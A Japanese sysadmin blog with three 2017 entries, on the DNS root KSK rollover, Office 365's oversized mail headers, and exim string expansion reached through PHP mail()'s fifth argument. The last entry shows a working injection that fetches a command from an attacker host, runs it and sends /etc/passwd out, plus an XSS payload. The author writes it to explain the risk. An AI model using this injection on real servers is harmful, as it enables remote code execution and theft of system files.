どさにっき

by やまや
7月下旬

2017年7月24日(月)

root KSK ロールオーバー

_ 新聞はそっち方面の専門家でない人にもニュースを届ける必要があるので、難しい内容も噛み砕いて説明する必要があって、その結果まわりくどい説明になっちゃうことがあるのは理解している。事情はわかってるので、ふだんはそういう記事を見つけても記者さん苦心したんだろうな、とあたたかい目で見るようにしている。が、いくらなんでも これはひどい。噛み砕いて説明するのに苦心したのはすごくよく伝わってくる。しかしその挑戦にもかかわらず素人さんが理解できる内容になっているとは到底思えないし、わかりやすい説明のために専門用語を使っていないため、そっち方面を理解している人に対してさえ意味不明。この記事の内容を事前に知っていた人(=記事を読む必要がない人)が何度か読み直して「ああ、あのことか」と気がつくのがやっと。誰に対しても存在する価値のない記事になっちゃってる。もうすこし何とかならんかったのか。全方面に向けた記事が難しいなら、一部の人に対してだけでもちゃんと理解できる記事にはできなかったのか。

_ まあ、そんなわけで KSK のロールオーバーがやってくるわけなんですが。もともと5年ごとの予定だったのが7年に延びちゃって、その延びた2年の間に ルートゾーンの ZSK が1024ビットから2048ビットに大きくなるというイベントもあり、なおさらロールオーバー中の応答サイズが大きくなりやすくなってしまった。たいていの環境では大きな影響はないと思うんだけど、影響あった場合はかなりクリティカルなので事前の確認は必須。あんなに大騒ぎしたのに何もなかったじゃねーか、と怒られるぐらいでちょうどいい。

_ KSK ロールオーバーに関する私的 Q&A。

_ 影響を受けるのは DNS サーバ全部なの?: 権威サーバは関係ありません。キャッシュサーバのみ影響を受けます。権威とかキャッシュとかわかんない人はネットワーク管理者に聞きましょう。ネットワーク管理者がわかっていないならクビにしましょう。 DNS ホスティングは権威を提供するサービスなので影響ありません。サポート窓口に問い合わせしないでください。先日から大量の問い合わせが来ていて、「関係ねーよ」とテンプレ回答するだけのお仕事がフル回転してます。

_ DNSSEC の鍵更新だから、DNSSEC 検証をしてなければ影響ないよね?: いいえ。キャッシュサーバ自身が検証していなくても、そのクライアントが検証していることがあり、そのためキャッシュサーバは自身が必要としていなくても、クライアントのために検証に使う署名鍵をルートサーバから取得することがあります。このときフラグメントが発生します。

_ 確認しろ、って言ってるけどどうやって確認すればいいの?: この文書のリンク先を読め。なお、1回確認して OK だったから終わり、ではなく、何度か繰り返し確認するのを推奨します。フラグメントしたパケットがフラグメントした順番に届いた場合は問題ないけど、逆順で届いたら落とす、というような環境があるらしく、その場合は1回試しただけでは気づかないことがあります。

_ 確認したら NG だった。どう直せばいいの?: とりあえず この資料の p.23- を読むべし。途中経路にあるネットワーク機器で変な acl をかけてないか確認して、もしあれば修正しましょう。どーしても原因がわからなければ、資料の記述にあるように EDNS0 payload size をフラグメントしないサイズに小さくしましょう。この場合 UDP で問い合わせ→サイズが大きくなるので TCP で聞き直せと応答→TCP で問い合わせ→TCP で応答、という流れになるため効率が悪くなります(効率が悪い以外の問題はありません)。

_ TCP 使えばキャッシュポイズニングできないんでしょ? DNSSEC いらなくね?: 毒入れは UDP だけではありません。つーか、いまどき UDP で毒入れ攻撃する人いるんですかね? 経路をハイジャックして偽サーバ宛にクエリをねじ曲げたり、応答パケットを途中経路で捕まえて書き換えたりといった、DNS のプロトコルに依存しない MITM な攻撃の方がずっと手っ取り早いです。MITM されたら src port randomization とか TCP クエリとかクソの役にも立ちません。そして、 それっぽい事象は実際に観測されてます(ただしリンク先は権威ではなく public cache に対するもの)。MITM なんて簡単にはできないでしょ、とか思うのは日本に住んでるからです。政府がネットを検閲してるような国は世界にはたくさんあり、そんな国では MITM による毒入れなんぞやろうと思えばすぐです。日本国内でも企業内のネットワークではときどき見かけます。DNSSEC は MITM されていても検知できます。MITM ではなく正規の権威サーバに不正侵入されてゾーンを直接書き換えられた場合ですら、秘密鍵を奪われていなければ DNSSEC で検知できます。

_ でも、DNSSEC ってクソだよね?: はい。でも現状それしか方法ないんでしかたないです。上述のとおり、src port randomization や TCP クエリでは役に立たないので。

_ ということで、 JANOG40 の会場でお会いしましょう(この件についてはまったく触れませんが)。


2017年7月4日(火)

デカいメールヘッダ

_ うーん。→ 【Exchange Onlineに関するお知らせ】 ヘッダー サイズの超過によって Exchange Online からのメール配信に失敗する場合がある

_ MS の Office365 はリレーするメールに長大なヘッダを付加するのはよく知られていることなんだけど、最近は肥大化がさらに進んで、受け取り側で headers too large で蹴られるような事態になってるそうで。このお知らせにある例では、32KB が上限だったようなんだけど、32KB って小さすぎる値じゃないよねぇ。

_ 調べてみたところ、sendmail のデフォルトがまさに MaxHeadersLength=32768 だった。つまり、意図してヘッダサイズを小さな値に制限していなくても、sendmail をデフォルトのままで使っていればそれだけで O365 からのメールの受け取りに失敗することがある、ということ。ちなみに postfix のデフォルトは header_size_limit = 102400。うちの自宅サーバは 16KB に設定変更している(以前は 8KB にしてたけど、DKIM やらなんやらで肥大化傾向なので増やした)。

_ で、MS のお知らせ曰く、

上述のエラーが発生した場合にはエラーを返しているサーバーにてヘッダーサイズ上限値について最適な設定値についてご検討頂くことをお勧めいたします。
えーと、なんだか巨大なヘッダを付与している自分たちは悪くない、ヘッダをたった 32KB に制限しているお前たちが悪いんだと読めるんですけどどうなんですかね。どんだけあれば足りるんですかね。1MB あれば足りますか。

_ RFC1855 Netiquette Guidelinesにはこう書かれている。

    - Know how large a message you are sending.  Including large files
      such as Postscript files or programs may make your message so
      large that it cannot be delivered or at least consumes excessive
      resources.  A good rule of thumb would be not to send a file
      larger than 50 Kilobytes.  Consider file transfer as an
      alternative, or cutting the file into smaller chunks and sending
      each as a separate message.
50KB を越えるようなファイルはメールじゃなくて別の手段を使うか、小さなサイズに分割して送ろうぜ、と。今どきはこんな時代遅れすぎる文言を気にする必要はないが、この RFC が書かれた 1995年ごろはそう言われていた。50KB のファイルですらデカすぎるからやめておけ、と言われていた時代から、ヘッダだけで 32KB を越えてしまう時代に20年ちょっとで進化したというのは長いんだろうか短かいんだろうか。


2017年5月15日(月)

PHP の mail() 関数で FizzBuzz

_ といってもループはできないので数値は生のリストで与えるんだけど。

$ php -r 'mail("","","","","-be \${tr{\${map{1:2:3:4:5:6:7:8:9:10:11:12:13:14:15:16:17:18:19:20:21:22:23:24:25:26:27:28:29:30:31:32:33:34:35:36:37:38:39:40:41:42:43:44:45:46:47:48:49:50}{\${if={\${eval:\$item%15}}{0}{FizzBuzz}{\${if={\${eval:\$item%3}}{0}{Fizz}{\${if={\${eval:\$item%5}}{0}{Buzz}{\$item}}}}}}}}}{:}{\\n}}");'
1
2
Fizz
4
Buzz
Fizz
7
8
Fizz
Buzz
11
Fizz
13
14
FizzBuzz
16
17
Fizz
19
Buzz
(以下略)

_ 前提として、debian など sendmail が exim な環境であること。 この前の件で無駄に高機能であることが判明してしまった exim の文字列展開機能を使っている。

_ うーん、やっぱりこの機能ヤバいよ。単なる文字列展開だけならともかく、コマンド実行やネットワークへのアクセスすることまでできちゃう。そんなの必要?

_ 例。攻撃者はまず port 12345 にアクセスされると攻撃コマンドを返すサーバを用意しておく。

$ nc -lp 12345 -c 'echo /bin/uname -a'
で、mail() の第5引数にこの攻撃者が用意したサーバにアクセスさせる文字列を注入。
$ php -r 'mail("","","","","-be \${run{\${readsocket{inet:attackerhost:12345}{\${readfile{/etc/passwd}}}}}}");'
Linux debian 3.2.0-4-amd64 #1 SMP Debian 3.2.86-1 x86_64 GNU/Linux
この例では、攻撃者の用意したサーバからコマンドをダウンロードして実行するついでに、せっかくなので /etc/passwd の中身を攻撃者に送りつけてます。

_ 昨年末から続く PHPMailer その他 PHP のメール送信まわりを利用したコード実行ってのは、mail() の第5引数に "-X logfile" や "-C configfile" といった文字列を注入し、そのファイルに含まれるコードを実行させるというものだった。なので、"-X logfile" でログを書き出せないように権限を縛っておいたり、"-C configfile" で読ませる設定ファイルが事前に用意できない場合は、不正文字列の注入まででコード実行までは至らない。が、exim のこの機能を使えばこういった中間ファイルを介する必要はない。文字列を注入できれば、それは即コード実行できることを意味する。

_ あるいは、もっとずっとシンプルにこーゆーの。

mail(..., "-be <script>alert(1)</script>");
文字列展開なし。単純にそのまま出力するだけ。が、Web アプリの作りにもよるけど、mail() が文字列を出力するとはふつー考えないから、これはサニタイズされずそのまま出力 HTML の中に出てくる可能性が高い。ということで、XSS になる。この例からわかるように、exim のこの機能は文字列を「展開する」だけでなく、「出力する」という動作そのものがヤバい。

_ いや、外部からこういう文字列を注入されなければ問題ないんだけどね。でもそうはいってもそういう穴が相次いで発見されているわけなんで、あんまり信用しない方がよさげな気がする。

_ そういえばもう2年も前になるのか。 GHOST こと glibc の gethostbyname() の脆弱性では、 exim がモロに影響を受けてコード実行までされた。これ、gethostbyname() の穴で exim の ACL を書き換えるんだけど、なんで ACL の書き換えでコード実行になるのかというと、ACL にマッチするかどうかのチェックの際に文字列展開されるからなんだよね。やっぱりこの機能ダメなんじゃないかなぁ。


7月下旬
やまや